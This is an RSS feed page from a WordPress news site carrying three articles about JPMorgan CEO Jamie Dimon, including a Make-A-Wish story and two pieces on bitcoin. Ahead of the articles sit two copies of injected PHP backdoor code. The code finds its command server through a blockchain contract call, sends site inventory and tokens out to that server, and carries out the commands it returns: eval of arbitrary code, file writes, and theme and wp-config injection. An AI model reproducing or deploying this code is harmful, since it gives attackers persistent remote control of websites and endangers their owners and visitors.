// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Dimon – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sun, 31 Dec 2017 11:20:34 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Dimon – Brief News https://briefnews.eu 32 32 A college student with a life-threatening illness used Make-A-Wish to meet JPMorgan CEO Jamie Dimon https://briefnews.eu/a-college-student-with-a-life-threatening-illness-used-make-a-wish-to-meet-jpmorgan-ceo-jamie-dimon/ https://briefnews.eu/a-college-student-with-a-life-threatening-illness-used-make-a-wish-to-meet-jpmorgan-ceo-jamie-dimon/#respond Sun, 31 Dec 2017 11:20:34 +0000 http://briefnews.eu/a-college-student-with-a-life-threatening-illness-used-make-a-wish-to-meet-jpmorgan-ceo-jamie-dimon/ sean korpalMake-A-Wish Foundation

  • After being diagnosed with cancer in high school, Sean Korpal was granted a wish by the Make-A-Wish Foundation.
  • Korpal, who had developed a childhood hobby and passion for stock trading and investing, ultimately decided to head to Wall Street and meet JPMorgan CEO Jamie Dimon.

 

One year ago, college sophomore Sean Korpal and his family stepped out of a limo in front of the towering office building at 270 Park Avenue in Midtown Manhattan. They were met by security guards, who ushered them into an elevator and whisked them skyward toward the executive offices, where they sat and anxiously waited. 

“It was kind of nerve-racking,” Korpal, an undergraduate at the University of Michigan Ross School of Business, told Business Insider. “We were about to meet a CEO.” 

And it wasn’t just any CEO. The office belonged to JPMorgan chief executive Jamie Dimon, one of Wall Street’s biggest titans.

Why was one of the most powerful men in the world taking a meeting with a family from a Detroit suburb with no material ties to JPMorgan or its business?

It’d be just as fair to flip the question around: Why would a young man, afflicted with a life-threatening cancer and granted the chance to go anywhere and meet anybody in the world, use the opportunity to meet the CEO of a bank?

When fatigue becomes a dark diagnosis

The Make-A-Wish Foundation has been around for decades, helping thousands of children with life-threatening diseases make their dreams come true. Most kids who are part of the program choose to go to Disney World, though many opt to meet a heroes or celebrities they admire, like tennis superstar Roger Federer, NBA legend Michael Jordan, and pop singer Selena Gomez. 

Though there are some limits, the foundation has accommodated a wide-ranging array of experiences. 

Sean Korpal’s experience started in May 2014, when the then-high school junior was cramming for end-of-year Advanced Placement tests and spending hours on the ice for his school’s hockey team. 

Fatigue was understandable — expected, even. But the fatigue didn’t abate, and it was soon accompanied by a cough and 103-degree fever. 

After going through days of symptoms without any improvement, Korpal was hospitalized and given a grave diagnosis: acute lymphoblastic leukemia, a type of blood cancer that is highly treatable among children but has a bleaker prognosis for adults. 

A few months after undergoing chemotherapy treatment for the life-threatening illness, Korpal got word that the Make-A-Wish Foundation would be granting him a wish. 

With a world of possibilities at his fingertips, Korpal immediately zeroed in on a longtime passion: financial markets and investing. 

An unorthodox childhood hobby 

Korpal’s unorthodox wish was guided by a similarly unorthodox childhood hobby. 

At the age of 12, while playing around with the Stocks app on an iPhone, Korpal inadvertently discovered the world of stock trading and it quickly drew him in. After opening an E-Trade account with $ 100 of his savings, Korpal soon became engrossed in the world of financial markets, reading books and taking in a steady diet of financial news from CNBC.

jim cramerScreenshot

He dreamed of a career in investing one day. 

By the time Korpal was ready to make a final decision for Make-A-Wish, it was roughly a year and a half after he’d been diagnosed, and he was pursuing a business degree as a freshman at the University of Michigan. 

“I knew I wanted to pick someone who was well respected in the industry. Someone who was high up, someone with the notion that they got there for a reason,” Korpal said. 

His mind finally settled on Jamie Dimon, whom Korpal said he respected for his pragmatism, character, and integrity.

Dimon had a cancer scare of his own in 2014. He underwent a taxing but successful chemotherapy regimen for throat cancer.

“I knew he would be straight up with me and tell me things how they are” and “that he would give me some real, genuine advice,” Korpal said. 

The biggest take-away after meeting Jamie Dimon

Jamie DimonGetty/Mark WilsonKorpal’s nerves melted away when, after a few minutes of waiting, Jamie Dimon entered the office and cracked a joke. Dimon was dressed casually and invited Korpal and his family into a less formal office with a dining table and couches to relax on.

“That relieved a lot of tension,” said Korpal. He added that he felt, at that moment, that his instincts about Dimon being genuine and down to earth were validated. 

They initially talked a lot about family and of Korpal’s condition, and then moved on to life and leadership advice. What was meant to be a 30-minute meeting lasted an hour and a half. 

Security guards joked to the Korpals afterward that world leaders didn’t get that much time with Dimon. 

The biggest thing Korpal said he learned from Dimon was about the power of relationships and the importance of humility.

“Being likable is more of an art than a science, but it’s incredibly important for success,” Korpal said. “The people at the top usually don’t get there on their own.”

Wall Street has a cutthroat image and reputation. But if you want to rise the ladder, you have to lean on others and empower others to succeed, he said. 

Remission, and a one-year reunion

Several weeks ago, Dimon paid a visit to the University of Michigan, where he was invited as a guest speaker. 

Korpal, whose cancer was in remission, had stayed in touch with Dimon, letting him know in September that he’d received his last chemo treatment.

After Dimon’s speech, and before Dimon was mobbed by throngs of excited students, the two were briefly reunited.

“I walked up to him after, and he instantly recognized me,” Korpal said. “He asked about my family and asked about my health.”

“He really was almost a celebrity on campus. But after meeting him, you realize he’s just another person like you or I,” Korpal added. 

While he was in New York the first time he met Dimon, Korpal also got to visit the New York Stock Exchange, and he met CNBC hosts Jim Cramer and Carl Quintanilla, as well as NYSE President Thomas Farley. Korpal said the Make-A-Wish experience instilled a new sense of confidence and him and made him realize it was possible to bridge the gap between dreams and reality.

Korpal’s dream is to one day lead a trading division, be a fund manager, or serve as the CEO of a major company. He’ll take the next step in that mission this summer — Korpal will be a summer analyst in sales and trading at Bank of America Merrill Lynch.

NOW WATCH: Cryptocurrency is the next step in the digitization of everything — ‘It’s sort of inevitable’

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]]> https://briefnews.eu/a-college-student-with-a-life-threatening-illness-used-make-a-wish-to-meet-jpmorgan-ceo-jamie-dimon/feed/ 0 JPMorgan might be getting into bitcoin even though Jamie Dimon hates it https://briefnews.eu/jpmorgan-might-be-getting-into-bitcoin-even-though-jamie-dimon-hates-it/ https://briefnews.eu/jpmorgan-might-be-getting-into-bitcoin-even-though-jamie-dimon-hates-it/#respond Wed, 22 Nov 2017 08:19:45 +0000 http://briefnews.eu/jpmorgan-might-be-getting-into-bitcoin-even-though-jamie-dimon-hates-it/ FILE PHOTO: Jamie Dimon, Chairman and CEO of JPMorgan Chase & Co. speaks during the Milken Institute Global Conference in Beverly Hills, California, U.S., May 1, 2017. REUTERS/Mike Blake/File PhotoThomson Reuters

  • JPMorgan is considering whether or not to help clients tap into a potential market for bitcoin futures, according to The Wall Street Journal. 
  • CEO Jamie Dimon has derided the digital currency as a “fraud” and said he’d fire employees for trading bitcoin. 

 

JPMorgan CEO Jamie Dimon’s opposition to bitcoin, the red-hot cryptocurrency up more than 700% this year, is no secret. 

The billionaire has derided the cryptocurrency as a “fraud,” useful only for criminals and murderers. He also said he would fire employees of the bank trading bitcoin for being stupid.

Dimon has since pledged that he will keep quiet about the cryptocurrency. 

Still, the US bank is considering whether it will help its clients tap into a potential bitcoin futures market being prepared by the exchange giant Chicago Mercantile Exchange, according to a report by The Wall Street Journal. 

“JPMorgan is considering whether to provide its clients access to CME’s new bitcoin product through its futures-brokerage unit,” The Journal’s Alexander Osipovich reported, citing one person familiar with the matter.

The company, according to The Journal, is “assessing whether there is demand among JPMorgan’s customers for the proposed CME bitcoin contract.”

CME is set to launch a market for bitcoin futures by the end of this year, which would allow investors to bet on the future price of the whipsawing digital currency. Cboe, another exchange, is also preparing a bitcoin futures market. 

Bank of America Merrill Lynch noted recently that bitcoin futures could help dampen the coin’s volatility. Here’s the bank:

“We would not overstate this, as a material reduction in volatility would require there to be a large community of speculators prepared to provide liquidity to the natural owners of the various coins, but given the volatility of the coin markets, maybe there already exists a cadre of participants who would look to short coins on strong days and vice versa, which could overall reduce volatility.”

Still, not everyone is convinced that bitcoin futures would be positive for the markets. 

In the open letter addressed to J. Christopher Giancarlo, the chairman of the Commodity Futures Trading Commission, Thomas Peterffy, the chairman of Interactive Brokers, one of the largest derivatives traders and a provider of clearing services for hundreds of brokers, said such a product could ultimately “destabilize the real economy.”

JPMorgan did not immediately respond to a request for comment.

Read the full Journal report>>

NOW WATCH: How Bill Gates and Warren Buffett are changing the world like no other humans in history

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]]> https://briefnews.eu/jpmorgan-might-be-getting-into-bitcoin-even-though-jamie-dimon-hates-it/feed/ 0 People thought they caught JPMorgan buying bitcoin after Jamie Dimon called it a ‘fraud’ — but that’s not what happened https://briefnews.eu/people-thought-they-caught-jpmorgan-buying-bitcoin-after-jamie-dimon-called-it-a-fraud-but-thats-not-what-happened/ https://briefnews.eu/people-thought-they-caught-jpmorgan-buying-bitcoin-after-jamie-dimon-called-it-a-fraud-but-thats-not-what-happened/#respond Tue, 19 Sep 2017 06:29:10 +0000 http://briefnews.eu/people-thought-they-caught-jpmorgan-buying-bitcoin-after-jamie-dimon-called-it-a-fraud-but-thats-not-what-happened/ Over the weekend, a tweet, which suggested JPMorgan was buying up a product tied to the value of bitcoin, sent shockwaves through the cryptocurrency community.

But like most outrage on the internet, it was unwarranted.

The screenshot, which was retweeted over 2,000 times, shows JPMorgan was among one of the largest buyers of a bitcoin exchange traded note trading on Nasdaq’s Stockholm exchange. Here’s the tweet:
